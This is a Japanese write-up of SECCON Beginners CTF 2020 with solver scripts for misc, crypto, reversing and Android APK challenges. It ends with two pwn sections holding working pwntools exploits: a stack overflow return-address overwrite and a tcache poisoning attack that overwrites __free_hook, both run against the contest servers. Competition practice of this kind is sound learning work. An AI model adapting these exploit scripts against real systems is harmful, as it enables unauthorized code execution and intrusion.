SECCON Beginers CTF 2020 write-up
2020/05/23 14:00 - 05/24 14:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して2136pt. 全体39位でした。
MISC
Welcome (50pt)
Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
Rulesに書いてあるDiscordのサーバーに参加したら、フラグの投稿があった。
Flag: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
emoemoencode (53pt)
Do you know emo-emo-encode?
テキストの中身は絵文字がひたすら並んでかいてあるだけ。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
とりあえず文字コードを眺めて、先頭からフラグ形式のctf4b{
になるようにそれぞれの文字の4バイト目を計算してみる。
$ hexdump -C emoemoencode.txt 00000000 f0 9f 8d a3 f0 9f 8d b4 f0 9f 8d a6 f0 9f 8c b4 |................| 00000010 f0 9f 8d a2 f0 9f 8d bb f0 9f 8d b3 f0 9f 8d b4 |................| 00000020 f0 9f 8d a5 f0 9f 8d a7 f0 9f 8d a1 f0 9f 8d ae |................| 00000030 f0 9f 8c b0 f0 9f 8d a7 f0 9f 8d b2 f0 9f 8d a1 |................| 00000040 f0 9f 8d b0 f0 9f 8d a8 f0 9f 8d b9 f0 9f 8d 9f |................| 00000050 f0 9f 8d a2 f0 9f 8d b9 f0 9f 8d 9f f0 9f 8d a5 |................| 00000060 f0 9f 8d ad f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 |................| 00000070 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8d aa |................| 00000080 f0 9f 8d a9 f0 9f 8d bd 0a |.........| 00000089
3バイト目が0x8Cなら4バイト目を-0x80、0x8Dなら-0x40することで、デコードできた。
def main(): with open('emoemoencode.txt', 'rb') as f: data = f.read().splitlines()[0] ans = '' for idx in range(0, len(data), 4): if data[idx+2] == 0x8D: ans += chr(data[idx+3] - 0x40) elif data[idx+2] == 0x8C: ans += chr(data[idx+3] - 0x80) print('FLAG:', ans) main()
FLAG: ctf4b{stegan0graphy_by_em000000ji}
Crypto
R&B (52pt)
Do you like rhythm and blues?
ファイルの中身は、エンコードしたプログラムとエンコード結果。
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
文字列の先頭がBなら以降の文字列はBase64エンコード、RならRot13されているだけ。
import base64 import codecs def main(): with open('encoded_flag', 'r') as f: encoded_FLAG = f.readline() print('encoded:', encoded_FLAG) FLAG = encoded_FLAG while True: t = FLAG if t[0] == 'B': # decode base64 FLAG = base64.b64decode(t[1:]).decode('utf-8') elif t[0] == 'R': # rot13 rev FLAG = codecs.decode(t[1:], 'rot13') else: print(FLAG) break main()
FLAG: ctf4b{rot_base_rot_base_rot_base_base}
Reversing
mask (62pt)
The price of mask goes down. So does the point (it's easy)!
(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)
ファイルはELFファイルで、コマンド引数にフラグを指定し、正しいとCorrect!と表示される。
Usage: ./mask [FLAG]
IDAで眺めてみると、指定したFLAG文字列を0x75でAND演算した文字列、0xEBでAND演算した文字列がそれぞれ規定の結果になるかどうかで正しいFLAGか判断している。
- FLAG文字列の各文字 AND 0x75 →
atd4`qdedtUpetepqeUdaaeUeaqau
- FLAG文字列の各文字 AND 0xEB →
c`b bk`kj`KbababcaKbacaKiacki
0x75 OR 0xEB -> 0xFFなので、それぞれ1文字ずつOR演算していけば、元のデータに復元できる。
# -*- coding: utf-8 -*- s = 'atd4`qdedtUpetepqeUdaaeUeaqau' s1 = 'c`b bk`kj`KbababcaKbacaKiacki' ans = '' for i,j in zip(s, s1): ans += chr(ord(i) | ord(j)) print(ans) # 'ctf4b{dont_reverse_face_mask}'
FLAG: ctf4b{dont_reverse_face_mask}
yakisoba (156pt)
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
準入力からの文字列を比較するプログラム。比較処理がごちゃごちゃしてるので、久しぶりにangrを使ってみる。
ソルバー
# -*- coding: utf-8 -*- import angr import claripy def main(): key_len = 31 pj = angr.Project('./yakisoba') input = claripy.BVS('input', 8*key_len) init_state = pj.factory.entry_state(args=['./yakisoba']) for b in input.chop(key_len): init_state.add_constraints(b != 0) sm = pj.factory.simgr(init_state) # main sm.explore(find=0x4006D2, avoid=[0x4006F7]) for f in sm.found: print(f.posix.dumps(0)) print(f.posix.dumps(1)) if __name__ == '__main__': main() ''' $ python3 solve.py WARNING | 2020-05-23 19:47:08,499 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00' b'FLAG: ' '''
FLAG: ctf4b{sp4gh3tt1_r1pp3r1n0}
ghost (279pt)
A program written by a ghost 👻
ファイルの中身は、.gs
拡張子のスクリプトっぽいファイルと、それの出力っぽいoutput.txtというファイル
chall.gs
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
output.txt
3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094
スクリプトの正体はなにかなぁと調査。問題文のwritten by ghost
を参考にGhostscript関連かなとあたりをつけて、Postscriptの文法ぽいとわかった。
このあたりを参考に読み解き。
- PostScript Language Reference Manual SECOND EDITION, Adobe System Inc.
- PostScript基礎文法最速マスター・daily dayflower
pythonに直すとこんな感じっぽい。
# -*- coding: utf-8 -*- flag = '' output = '' flag = input('') if not flag: print('I/O Error') mul = 1 for idx in range(len(flag)): get_ord = ord(flag[i]) tmp = get_ord ^ (idx + 1) tmp = tmp * mul s = 1 for j in range(463): s *= tmp s %= 64711 print(s) # output s %= 128 mul = s + 1
ASCIIコードの印字可能文字範囲で1文字ずつoutput.txtの整数値になる文字を探索するソルバーを書いた。
output = '3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094' output = list(map(int, output.split())) ans = '' mul = 1 for idx in range(len(output)): for p in range(0x20, 0x7f): get_ord = p tmp = get_ord ^ (idx + 1) tmp = tmp * mul s = 1 for j in range(463): s *= tmp s %= 64711 if s == output[idx]: print(idx, s, chr(p)) ans += chr(p) s %= 128 mul = s + 1 break print('FLAG:', ans) # FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
FLAG: FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
siblangs (363pt)
Well, they look so similar... siblangs.apk
(SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229)
APK問題。とりあえずapktool、dex2jarでjarへ変換。jd-duiで怪しいクラスを調査。es.o0i.challengeapp
にValidateFlagModule.classとかあって怪しい。validateというメソッドでAES復号したローカルの文字列と入力された文字列を比較してるっぽい。
鍵も同じクラスに変数として定義されている。
private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
コードを抜き出して比較しているローカル文字列を表示してみると、FLAGの後半っぽい文字列が得られた。
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.SecretKey; import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.GCMParameterSpec; public class Solve { //private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); public static void main(String[] args) { SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); byte[] arrayOfByte = new byte[43]; arrayOfByte[0] = 95; arrayOfByte[1] = -59; arrayOfByte[2] = -20; arrayOfByte[3] = -93; arrayOfByte[4] = -70; arrayOfByte[5] = 0; arrayOfByte[6] = -32; arrayOfByte[7] = -93; arrayOfByte[8] = -23; arrayOfByte[9] = 63; arrayOfByte[10] = -9; arrayOfByte[11] = 60; arrayOfByte[12] = 86; arrayOfByte[13] = 123; arrayOfByte[14] = -61; arrayOfByte[15] = -8; arrayOfByte[16] = 17; arrayOfByte[17] = -113; arrayOfByte[18] = -106; arrayOfByte[19] = 28; arrayOfByte[20] = 99; arrayOfByte[21] = -72; arrayOfByte[22] = -3; arrayOfByte[23] = 1; arrayOfByte[24] = -41; arrayOfByte[25] = -123; arrayOfByte[26] = 17; arrayOfByte[27] = 93; arrayOfByte[28] = -36; arrayOfByte[29] = 45; arrayOfByte[30] = 18; arrayOfByte[31] = 71; arrayOfByte[32] = 61; arrayOfByte[33] = 70; arrayOfByte[34] = -117; arrayOfByte[35] = -55; arrayOfByte[36] = 107; arrayOfByte[37] = -75; arrayOfByte[38] = -89; arrayOfByte[39] = 3; arrayOfByte[40] = 94; arrayOfByte[41] = -71; arrayOfByte[42] = 30; try { Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12); cipher.init(Cipher.DECRYPT_MODE, secretKey, gCMParameterSpec); arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12); String s = new String(arrayOfByte); System.out.println(s); // -> '1pt_3verywhere}' } catch (Exception e) { System.out.println(e); } } }
残りの前半部分を探索。jar変換のときについでにできたapkのリソースをctf
でgrepしてみると怪しいスクリプトっぽいのを発見。React関連?のリソースぽい。
grep -r ctf ./siblangs-d/ ./siblangs-d/assets/index.android.bundle:__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t){(0,c.default)(v,t);var o,y=(o=v,function(){var t,l=(0,s.default)(o);if(V()){var n=(0,s.default)(this).constructor;t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);return(0,u.default)(this,t)});function v(){var t;(0,l.default)(this,v);for(var o=arguments.length,n=new Array(o),c=0;c<o;c++)n[c]=arguments[c];return(t=y.call.apply(y,[this].concat(n))).state={flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},t.handleFlagChange=function(o){t.setState({flagVal:o})},t.onPressValidateFirstHalf=function(){if("ios"===h.Platform.OS){for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;n<t.state.xored.length;n++)if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))return void h.Alert.alert("Validation A Failed","Try again...");h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},t.onPressValidateLastHalf=function(){"android"===h.Platform.OS?p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},t}return(0,n.default)(v,[{key:"render",value:function(){return f.default.createElement(f.default.Fragment,null,f.default.createElement(h.StatusBar,{barStyle:"dark-content"}),f.default.createElement(h.SafeAreaView,null,f.default.createElement(h.ScrollView,{contentInsetAdjustmentBehavior:"automatic",style:S.scrollView},f.default.createElement(h.View,{style:S.body},f.default.createElement(h.View,{style:S.sectionContainer},f.default.createElement(h.Text,{style:S.sectionTitle},"Hello!"),f.default.createElement(h.Text,{style:S.sectionDescription},"Put your FLAG into the box below:"),f.default.createElement(h.TextInput,{style:S.textInput,value:this.state.flagVal,onChangeText:this.handleFlagChange}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateFirstHalf,title:"Validate A",color:"#a44593"}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateLastHalf,title:"Validate B",color:"#a44593"}))))))}}]),v})(f.Component),S=h.StyleSheet.create({textInput:{backgroundColor:y.Colors.dark,color:y.Colors.white},btn:{padding:18},scrollView:{backgroundColor:y.Colors.lighter},engine:{position:'absolute',right:0},body:{backgroundColor:y.Colors.white},sectionContainer:{marginTop:32,paddingHorizontal:24},sectionTitle:{fontSize:24,fontWeight:'600',color:y.Colors.black},sectionDescription:{marginTop:8,fontSize:18,fontWeight:'400',color:y.Colors.dark},highlight:{fontWeight:'700'},footer:{color:y.Colors.dark,fontSize:12,fontWeight:'600',padding:4,paddingRight:12,textAlign:'right'}}),A=v;e.default=A},390,[9,1,26,27,37,39,36,56,2,391,399]);
怪しい箇所の抜き出し
flagVal:"ctf4b{", xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]}, t.handleFlagChange=function(o){ t.setState({flagVal:o})}, t.onPressValidateFirstHalf=function(){ if("ios"===h.Platform.OS){ for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0; n<t.state.xored.length;n++) if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10)) return void h.Alert.alert("Validation A Failed","Try again...");
flag文字列とAKeyForios10.3
という文字列をxorした結果がxoredの値になるので、ASCIIコードの印字可能範囲で探索。
# coding: utf-8 -*- flagVal = 'ctf4b{' xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27] ios = 'AKeyForios10.3' ans = '' for i in range(len(flagVal), len(xored)): print(i) for f in range(0x20, 0x7e): t = f ^ ord(ios[i % len(ios)]) if t == xored[i]: print(i, t, chr(f)) ans += chr(f) break print(flagVal + ans) # ctf4b{ctf4b{jav4_and_j4va5cr
後半部分と合わせて完了。
FLAG: ctf4b{jav4_and_j4va5cr1pt_3verywhere}
Pwn
Beginner's Stack (134pt)
Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
Stack BoFしてwinという関数を呼び出したら勝ちらしい。
実行してみた。Stackの情報まで出してくれる。優しみ。Stack BoFでreturnアドレスを書き換える。
$ ./chall Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffde30d9d30 | 0x0000000000000000 | <-- buf +--------------------+ 0x00007ffde30d9d38 | 0x0000000000000000 | +--------------------+ 0x00007ffde30d9d40 | 0x0000000000400ad0 | +--------------------+ 0x00007ffde30d9d48 | 0x00007f0183db5190 | +--------------------+ 0x00007ffde30d9d50 | 0x00007ffde30d9d60 | <-- saved rbp (vuln) +--------------------+ 0x00007ffde30d9d58 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffde30d9d60 | 0x0000000000000000 | <-- saved rbp (main) +--------------------+ 0x00007ffde30d9d68 | 0x00007f0183ba80b3 | <-- return address (main) +--------------------+ 0x00007ffde30d9d70 | 0x00007f0183db3620 | +--------------------+ 0x00007ffde30d9d78 | 0x00007ffde30d9e58 | +--------------------+ Input:
いきなりwinに飛ぶとRSPのアラインメントがダメだと教えてくれる。優しみ。system関数の呼び出しで16byte alignされていないとsystem関数内でSEGVになるらしい。
適当なreturn命令があるところに1度飛ばして、そのあとwinへ飛ぶようにstackを調整したらshellが取れた。
from pwn import * srv = 'bs.quals.beginners.seccon.jp' port = 9001 bin = ELF('./chall') conn = remote(srv, port) t = conn.recvuntil(b'Input:') print(t) buf = b'A' * 32 buf += b'\x00' * 8 buf += b'\xf0\x07\x40\x00' + b'\x00' * 4 # returnだけしてくる buf += b'\x61\x08\x40\x00' + b'\x00' * 4 # winのアドレス print(buf) conn.sendline(buf) print('sendline') conn.interactive() conn.close() ''' Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ '''
FLAG: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Beginner's Heap (293pt)
Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
ファイルの提供はなし。ncでつなぐと1~6のコマンドを送信できるプログラムにつながる。heapの状況とtcacheの状況も確認できる。優しみ。
以下の操作でフラグが取れた。
- B = malloc
- free(B) // tcacheにつなげる
- read(0, A, 0x80) // 元Bのチャンクの領域を上書きして、tcache -> 元B -> __free_hook 4. の状態をつくる
- B = malloc // tcacheからBのチャンクを取得。tcacheは__free_hook のアドレスだけ残る。
- read(0, A, 0x80) // Bのチャンクのサイズ情報をtcacheにつながらない大きなサイズへと上書き
- free(B) // tcacheにつながらない。残りは __free_hookのアドレス
- B = malloc // free_hookのアドレスがくる。read()で __free_hookのアドレスが指す情報にwinのアドレスを上書き
- B = malloc // __free_hookが呼び出されるタイミングで、winが呼ばれて、flagゲット
# -*- coding: utf-8 -*- """ $ nc bh.quals.beginners.seccon.jp 9002 Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7f8ce802f8e8 <win>: 0x555afa892465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > """ import sys import re import time from pwn import * def send_cmd(conn, cmd, buf=b''): print('Send Command:', cmd) time.sleep(1) conn.sendline(cmd) if cmd == b'1' or cmd == b'2': time.sleep(1) conn.sendline(buf) t = conn.recvuntil(b'> ') if cmd == b'4' or cmd == b'5': print(t.decode('utf-8')) def main(): srv = 'bs.quals.beginners.seccon.jp' port = 9002 conn = remote(srv, port) t = conn.recvuntil(b'\n> ') print(t) # get address of __free_hook, win free_hook_addr = re.search(b'(?<=\<__free_hook\>: )0x[0-9a-f]+', t)[0] win_addr = re.search(b'(?<=\<win\>: )0x[0-9a-f]+', t)[0] print('free_hook', free_hook_addr) print('win', win_addr) # 2. B = malloc, read send_cmd(conn, b'2', b'A'*8) # 3. free(B), B = NULL send_cmd(conn, b'3') # 1. read(0, A, 0x80) buf = b'A' * 0x18 buf += b'\x21' + b'\x00' * 7 buf += p64(int(free_hook_addr, 16)) send_cmd(conn, b'1', buf) send_cmd(conn, b'5') send_cmd(conn, b'4') # 2. B = malloc, read send_cmd(conn, b'2', b'A'*8) # 1. read(0, A, 0x80) # for free chunk B to not tcache area buf = b'A' * 0x18 buf += b'\x01' + b'\x01' + b'\x00' * 6 send_cmd(conn, b'1', buf) send_cmd(conn, b'4') # 3. free(B), B = NULL send_cmd(conn, b'3') # 2. B = malloc, read # overwrite __free_hook with win buf = p64(int(win_addr, 16)) send_cmd(conn, b'2', buf) send_cmd(conn, b'5') send_cmd(conn, b'4') # 2. B = malloc, read send_cmd(conn, b'2', buf) #send_cmd(conn, b'3') conn.interactive() conn.close() main() ''' Congratulations! ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs} '''
FLAG: ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
以上!